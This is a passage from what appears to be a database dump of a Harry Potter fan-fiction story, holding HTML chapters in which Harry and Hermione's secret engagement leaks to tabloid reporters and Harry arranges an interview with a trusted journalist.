didn&#8217;t know\nyou could fly!&#8221; Seamus laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, you did really well,&#8221;\nNeville added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Way to go, Hermione!&#8221; Ron\nsaid with a wide grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Girlfriend, you rocked up\nthere,&#8221; Lavender stated firmly.&nbsp; Hermione blushed at the compliments; it\nwas the first time she&#8217;d ever received one for her flying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you feel?&#8221; Harry\nasked, seeing her face flushed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just a bit jittery.&nbsp; I\nwas so nervous, my knees were almost knocking.&nbsp; I was afraid that I&#8217;d\nforget something and fall off my broom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Relax Herm, you did great,&#8221;\nhe said with warmth in his voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you, Harry, I couldn&#8217;t\nhave done this without you!&#8221; She kissed his cheek, and several murmurs arose\naround the two of them.&nbsp; Harry rolled his eyes in exasperation and tried\nto concentrate on their lesson for the day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author&#8217;s Notes:&nbsp; All\nright, I know that I never specified flying as a class in &#8216;Meet the Parents&#8217;,\nbut I wanted to put in this scene badly.&nbsp; This is going to be the first in\na string of events where you&#8217;ll get to see what Hermione learned from her\ntraining with Harry.&nbsp; Stay tuned for the next chapter.&nbsp; The story of Harry and Hermione&#8217;s engagement\nleaks out, and a storm erupts around the couple.</p>\n\n\n\n\n\n\n'),
	(244, 6, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nhad to admit it; he was having a great start to his final year.&nbsp; Not only was he actually doing well in all\nof his classes, but he also got to see how well Hermione&#8217;s training had\nimproved her magical skills.&nbsp; Aside from\nApparition, his fianc&#233; was kicking the bloody hell out of her classes.&nbsp; Even in Defense Against the Dark Arts, she\nwas becoming quite adept at handling the weapons that Sirius gave the students\nto use.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nfar as his engagement to Hermione, Ron had kept his promise and told no one but\nGinny.&nbsp; In the month since then, no one\nhad seemed to find out because Harry knew that it would&#8217;ve been all over\nschool.&nbsp; He also came up with a plan to\nhide her engagement ring.&nbsp; Since\nHermione was right-handed, she just kept her left hand under her desk while she\ntook notes in class, and when they were walking down the hallway, he stayed on\nher left side and held her hand to conceal the jewel.&nbsp; Everything seemed to be in order, but Harry knew that the other\nshoe would drop sooner or later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nsunlight brought the young wizard of his sleep.&nbsp; He yawned softly and cracked his eyes open.&nbsp; Gazing down beside him, he saw Hermione\nstill sleeping like an angel.&nbsp; Harry\nunwound his arms from around her and kissed her forehead.&nbsp; She purred softly and nuzzled her cheek\nagainst his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart,\ntime to get up,&#8221; he whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do\nI have to?&nbsp; I like it here,&#8221; she cooed\nand opened her eyes.&nbsp; Harry grinned and\nkissed her good morning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go\nahead and sleep some more; I&#8217;m just gonna grab a shower.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nslipped out of bed, and Hermione buried her head back in the pillows.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nthe couple exited their portrait hole, a crowd of reporters swarmed them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr.\nPotter&#8230;is it true?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nabout you, Miss Granger?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There\nhad to be at least thirty of them, and they were all shouting the same thing at\nthe both of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold\nit!&#8221; Harry shouted, &#8220;What is the meaning of this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr.\nPotter&#8230;is it true?&#8221; one of them asked again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nare you talking about?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We\nhave it on good authority that you and Miss Granger are engaged.&nbsp; Is that true?&#8221; Both he and every other\nreporter stood with pad and pen in hand nearly drooling in anticipation of\nHarry&#8217;s answer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nyoung wizard&#8217;s eyes darkened, and he glared at the swarm of rumor-hounds.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;First\nof all, who told you that, and secondly, what business is that of yours?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We\ncannot reveal our sources,&#8221; a female reporter stated.&nbsp; She had a sickening smile, and Harry and Hermione recognized her\nimmediately &#8211; Rita Skeeter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s\nright, you have no right to ask either of us that question!&#8221; Hermione said\ndefiantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\nis that?&nbsp; Don&#8217;t you want everyone to\nknow that you&#8217;re engaged to the great Harry Potter?&#8221; Rita snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nglared daggers at the woman.&nbsp; She&#8217;d met\nthe gossip columnist back during fourth year at the TriWizard Tournament, and\nthe woman had made her life a living hell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\npersonal life is exactly that &#8211; personal!&nbsp;\nI&#8217;m not about to blab anything to a nosy bitch like you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\neyes widened slightly; he rarely heard Hermione curse &#8211; if ever.&nbsp; She only did when she was extremely\nangry.&nbsp; He stepped in front of his\nfianc&#233;, and his expression tightened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We\nhave nothing to say to any of you.&nbsp; I\nmay be Harry Potter, but I&#8217;m not about to let Hermione or myself be used for a\ncheap, publicity stunt.&nbsp; I don&#8217;t know\nwho&#8217;s been yanking your chain, but this &#8216;interview&#8217; is over right now!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nreached back and deliberately grabbed Hermione&#8217;s left hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If\nyou would please move, we have classes to attend this morning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nreporters refused to move.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll\nask you one more time&#8230;&#8221; he growled and drew out his wand.&nbsp; Several of the reporters gulped and backed\naway at the fire in his eyes.&nbsp; Hermione\nreached up and touched his right arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;don&#8217;t&#8230;calm\ndown&#8230;&#8221; and she whispered in his ear.&nbsp; He\ngrinned widely and put his wand away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nask that none of you show up here again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With\nthat, Harry disapparated right in front of them, taking Hermione with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\npair had to separate for their morning classes but met up once again in front\nof the Great Hall at lunchtime.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey\nHerm, how was your morning?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nbarely even know most of the students in my expert classes, but they were all\nin my face today.&nbsp; They kept asking me\nabout us and if we were really engaged.&nbsp;\nThe girls kept asking me how it felt to be with &#8216;Harry Potter&#8217;.&#8221; Her\nvoice changed at his name as if she were speaking his title in the world.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nwhat happened to me too.&nbsp; They were\nsaying things like:&nbsp; &#8216;You&#8217;re gonna marry\nher?&#8217; or &#8216;She&#8217;s such a bookworm&#8217; or even worse &#8216;She must be really good in the\nsack&#8217;.&nbsp; I swear, I wanted to hex them\nall into next week!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\ndidn&#8217;t&#8230;did you?&#8221; Hermione asked worriedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nRon actually decked one of them when the professor wasn&#8217;t looking, and they all\nshut up after that.&nbsp; He beat me by about\nhalf a second.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;maybe\nyou should tell them.&nbsp; I&#8217;d hate to think\nwhat they&#8217;d write about us off of just rumors.&nbsp;\nI mean, Rita will have a field day with this; I just know it!&nbsp; Who knows?&nbsp;\nMaybe she&#8217;s been spying on us since we came back to school?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nI don&#8217;t want to turn this into some kind of scandalous affair.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngrasped her hands and stared deep into her brown eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart,\nI don&#8217;t want you to become pressured or hounded by reporters just because we&#8217;re\nromantically involved.&nbsp; I want to\nprotect you &#8211; especially from my own fame.&nbsp;\nI can&#8217;t fight against idiots who make up stories, but I can stop their\nsource of information.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221;\nher arms wound around his neck, &#8220;&#8230;I&#8217;m not ashamed to say how close we are,&#8221; she\nsighed.&nbsp; His hands grasped her hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione,\nbelieve me, I&#8217;d gladly tell the whole world that I&#8217;m in love with angel, but\nthe minute I lose control, the truth becomes slander.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey&#8230;I\ncan take care of myself just fine; you taught me well&#8230;remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngrinned at her comment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nknow, Herm, but&#8230;can I help it if I worry about you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His\nfianc&#233; stood up on her toes and kissed him thoroughly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;you\ndon&#8217;t have to shoulder all the pressure by yourself; this is about both of us\nokay.&nbsp; Don&#8217;t try to take everything onto\nyourself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\namazing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nswept her up in his arms and kissed her long and hard.&nbsp; Hermione buried her hands in his hair, and\nhis hands slid inside her robes.&nbsp; His\nskillful fingers brushed her sensitive spots, and Hermione arched into his\ntouch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Eventually,\nthey managed to pull apart, flushing deeply and walked hand-in-hand into the\nGreat Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nthe pair entered, they were met by a flashbulb going off in their faces.&nbsp; Harry shook his head and stared at the\nculprit; it was Colin Creevy.&nbsp; He\nsnapped another picture of them and smiled brightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Congratulations\nHarry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold\nit, Colin, what&#8217;s going on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Everyone\nheard about it; you two are getting married!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlooked around the Great Hall and nearly every student had his face buried in a\nnewspaper.&nbsp; However, it wasn&#8217;t the Daily\nProphet but rather Wizard Snitch &#8211; the magical world&#8217;s version of the National\nEnquirer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here,\ntake a look!&#8221; Colin stated and shoved one into Harry&#8217;s hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On\nthe front page was a picture of Harry and Hermione.&nbsp; The headline read: </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<b>Romance\nBlossoms at Hogwarts:&nbsp; Harry Potter\ngetting married&#8217;</b>.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn\nthem!&#8221; Harry growled and crushed the paper in his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nwas also worried.&nbsp; She could see every\ngirl in the school looking at her with every feeling from jealously and hatred\nto happiness and appreciation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndidn&#8217;t want this to happen this way,&#8221; he groaned and lowered his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nagain tried to comfort him and placed her hand on his arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;well&#8230;well&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Great,\nlike they both needed to hear Malfoy right now, but the blonde knew just when\nto strike.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nPotter&#8230;you finally picked which of your lackeys to get hitched with, eh?&nbsp; I should&#8217;ve known it would be the Mudblood;\nshe must be really good to you!&#8221; he laughed sadistically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nimmediately reached for her wand; she would not be insulted like that.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Silencio!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy&#8217;s\nmouth was sealed shut, and it was would remain that way for the next twelve\nhours.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwas shaking with anger by now.&nbsp; His\nfists were clenched tightly, and he ground his teeth together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry?&#8221;\nHermione whispered soothingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;INCENDIO!&#8221;\nhe shouted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All\naround the Great Hall, every newspaper was incinerated in a split second.&nbsp; They exploded right in their reader&#8217;s\nhands.&nbsp; No one was harmed, but they all\nstared at Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;\na deep voice bellowed; it was Professor Dumbledore.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\nwith me.&#8221; He motioned for the young wizard to follow him into a side room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ntrudged to the front of the Great Hall and followed Dumbledore.&nbsp; Hermione sat down next to Ron and Lavender\nand waited anxiously for him to return.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dumbledore\nshut the door behind Harry and stared intently at the young man.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;that\nwas a bit extreme out there.&nbsp; I&#8217;m not\ngoing to punish you, but I would like to know&#8230;is it true?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sir?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About\nyou and Hermione.&nbsp; Is it true?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nProfessor Dumbledore, it is.&nbsp; We&#8217;ve been\nengaged since we came back to Hogwarts, but we didn&#8217;t want to tell anyone\nyet.&nbsp; We both wanted to take things\nslowly so we were keeping to ourselves.&nbsp;\nWhen we left our dormitory this morning, there was this hoard of\nreporters waiting for the two of us.&nbsp; I\ndidn&#8217;t tell them anything and asked that they not bother Hermione or I again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nit seems that they went ahead with their story anyway,&#8221; Dumbledore said sadly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This\nnever would&#8217;ve happened if I wasn&#8217;t Harry Potter,&#8221; the young wizard groaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,\nI won&#8217;t discard the fact that your reputation is a huge factor in this\nhappening, but perhaps, this can be changed.&nbsp;\nWhat I suggest is that you given the media what they want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\ndo mean, sir?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nhave an old friend who works at the Daily Prophet; his name is Tom\nHutchinson.&nbsp; I suggest you contact him\nand say that you and Hermione wish to have an interview, but that you want it\ndone with discretion.&nbsp; I&#8217;m sure he&#8217;ll be\nmore than happy to accommodate you.&nbsp; He\nwrites an editorial in the paper, and he&#8217;d be very interested in telling your\nstory.&nbsp; Plus, he doesn&#8217;t write for a\ntabloid; his work is pure fact.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nappreciate it, professor.&nbsp; I&#8217;ll talk to\nHermione about this and see what she says; I think she&#8217;ll agree with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very\nwell, you may go now&#8230;and congratulations to both of you,&#8221; he smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, sir.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nexited the room feeling a lot better, but he didn&#8217;t see the small grin that\ncrossed Dumbledore&#8217;s face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Those\ntwo are exactly like James and Lily.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author&#8217;s\nNotes:&nbsp; Sorry that I took so long\ngetting this out, but I&#8217;ve gotten some new games for my PS2 in the last week or\nso and having been playing them for awhile.&nbsp;\nStay tuned for the interview in the next chapter.</p>\n\n\n\n\n\n\n'),
	(244, 7, ' <p>&nbsp;</p>\n\n<p>After speaking with Hermione as lunchtime, Harry was ready to speak with Tom Hutchinson.&nbsp; When he finished his classes that afternoon, Dumbledore gave him a pass to leave Hogwarts for a period of three hours.&nbsp; Harry had to admit having the power to apparate in a place no one else could had definite advantages.</p>\n\n<p>&nbsp;</p>\n\n<p>The young wizard appeared in a back alley in the middle of London.&nbsp; He headed out onto the street and looked around for the landmark that Dumbledore had told him about.&nbsp; Walking across the street, he approached a redbrick building with a sign hanging over it that read, &#8216;Miles Publishing and Printing&#8217;.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry opened the door, and a bell chimed as he entered.&nbsp; He could see several people seated in chairs, apparently for something or someone.&nbsp; He didn&#8217;t see any reporters or owls anywhere, but then again, Diagon Alley had been hidden as well.&nbsp; Harry then approached the counter directly in front of him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good afternoon, lad, what can I do for you?&#8221; the young woman seated at the counter asked cheerfully.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Um&#8230;yes&#8230;I&#8217;d like to see Tom Hutchinson please.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do ya have an appointment?&nbsp; Mr. Hutchinson is quite a busy man.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m sorry, but I don&#8217;t.&nbsp; I just wanted to speak with him for a moment.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The woman chewed her bottom lip for a moment.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tell ya what, lad, he&#8217;s in a meeting right now, but I&#8217;ll stick my head in and see if he has a moment.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you very much,&#8221; Harry said with a smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And who should I say wants to see him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m Harry Potter.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The entire room froze as he spoke those two words.&nbsp; The receptionist&#8217;s eyes bugged out, and the people sitting down were staring at him as well.&nbsp; Now, Harry knew that he was in the right place.&nbsp; Muggles would never act this way around him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Blimey, I&#8217;m an idiot; I should&#8217;ve recognized ya, Mr. Potter.&nbsp; Give me one minute!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The young lady raced down the hallway and into one of the offices.&nbsp; Not more than thirty seconds, she reappeared and zoomed back up to the front desk.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, Mr. Potter, you have perfect time.&nbsp; Mr. Hutchinson just finished up.&nbsp; If you would follow me, I&#8217;ll show you in.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you, ma&#8217;am, and please call me Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was led down the main hallway and to a second branch to the right.&nbsp; He was shown to the third office on the left, and the woman nodded her head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go on in, he&#8217;ll be with you in just a moment.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you, ma&#8217;am.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took a seat in one of the plush armchairs and crossed his fingers.&nbsp; He&#8217;d never done anything like this, and his palms began to sweat.</p>\n\n<p>&nbsp;</p>\n\n<p>A minute later, an older man in his late forties entered the office.&nbsp; He had dark brown hair that was tinting with shades of grey, and his tie hung loosely around his neck.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, you must be the infamous Harry Potter, I&#8217;m Tom Hutchinson.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry stood up and shook the man&#8217;s hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please take a seat.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Tom walked around behind his desk and dropped into a large, leather chair.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, what can this old reporter do for &#8216;the Boy Who Lived&#8217;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry immediately liked this man; he was actually comfortable making jokes about his reputation, which was a big plus.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well sir, I was referred to you by Albus Dumbledore; he said that you could help me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, so Albus sent you.&nbsp; Tell me, how is the old rascal doing.&#8221; Harry actually chuckled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s doing fine, sir.&nbsp; Professor Dumbledore suggested I should ask for you because he was familiar with your work.&nbsp; As I&#8217;m sure you&#8217;ve already seen, the press is having a field day with me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, I did see the &#8216;Snitch&#8217; this morning.&nbsp; You&#8217;re planning on getting hitched, huh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry didn&#8217;t respond but merely stared Tom straight in the face.&nbsp; The older man grinned slightly and reached into a side drawer.&nbsp; He pulled out his wand and pointed it towards the door.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Seal!&#8221; The door slammed shut and locked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right, my boy, now it&#8217;s just you and me.&nbsp; What can I do for you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sir, I must ask that what I say here cannot leave this room.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course, if that is what you want.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank you very much.&nbsp; Yes, it is true.&nbsp; I am engaged; her name is Hermione Granger.&nbsp; The thing is that we didn&#8217;t want people to know about it.&nbsp; We both wanted to wait awhile, but as you know, that didn&#8217;t happen.&nbsp; We were going to tell everyone, but it wasn&#8217;t going to be for quite some time.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What help can I be?&nbsp; Your secret is already out,&#8221; Tom questioned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was wondering if you would like to do an interview with me and Hermione.&nbsp; We will disclose the truth, but we want it done with discretion.&nbsp; I don&#8217;t want this turning into some scandalous affair that everyone wants a piece of.&nbsp; Professor Dumbledore told me that you only write about the facts, and I&#8217;m willing to give you those facts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s a most interesting offer, Harry, and I appreciate the vote of confidence.&nbsp; All right, I&#8217;ll do an editorial on you and&#8230;Hermione, I believe?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, Hermione Granger.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why don&#8217;t I come by Hogwarts this weekend?&nbsp; I can owl Albus and ask him to send me a portkey.&nbsp; If I remember correctly, I believe you&#8217;re the Head Boy at Hogwarts, aren&#8217;t you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes sir, I am, and Hermione is actually the Head Girl as well.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Aren&#8217;t you two a pair?&nbsp; You two have your own common room, correct?&nbsp; Why don&#8217;t we do the interview there?&#8221; Tom laughed, and Harry grinned slightly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s sound fine.&nbsp; I really appreciate this, sir.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t worry about it, Harry, and please&#8230;stop calling me &#8216;sir&#8217;!&nbsp; Just call me Tom.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry stood up with a smile on his face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, Harry, I guess that I will see you two this weekend.&nbsp; Thanks for stopping by.&#8221; Tom extended his hand, and the young man shook it happily.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We&#8217;ll see you then, Tom, have a good day.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Tom unlocked his door, and Harry headed out of his 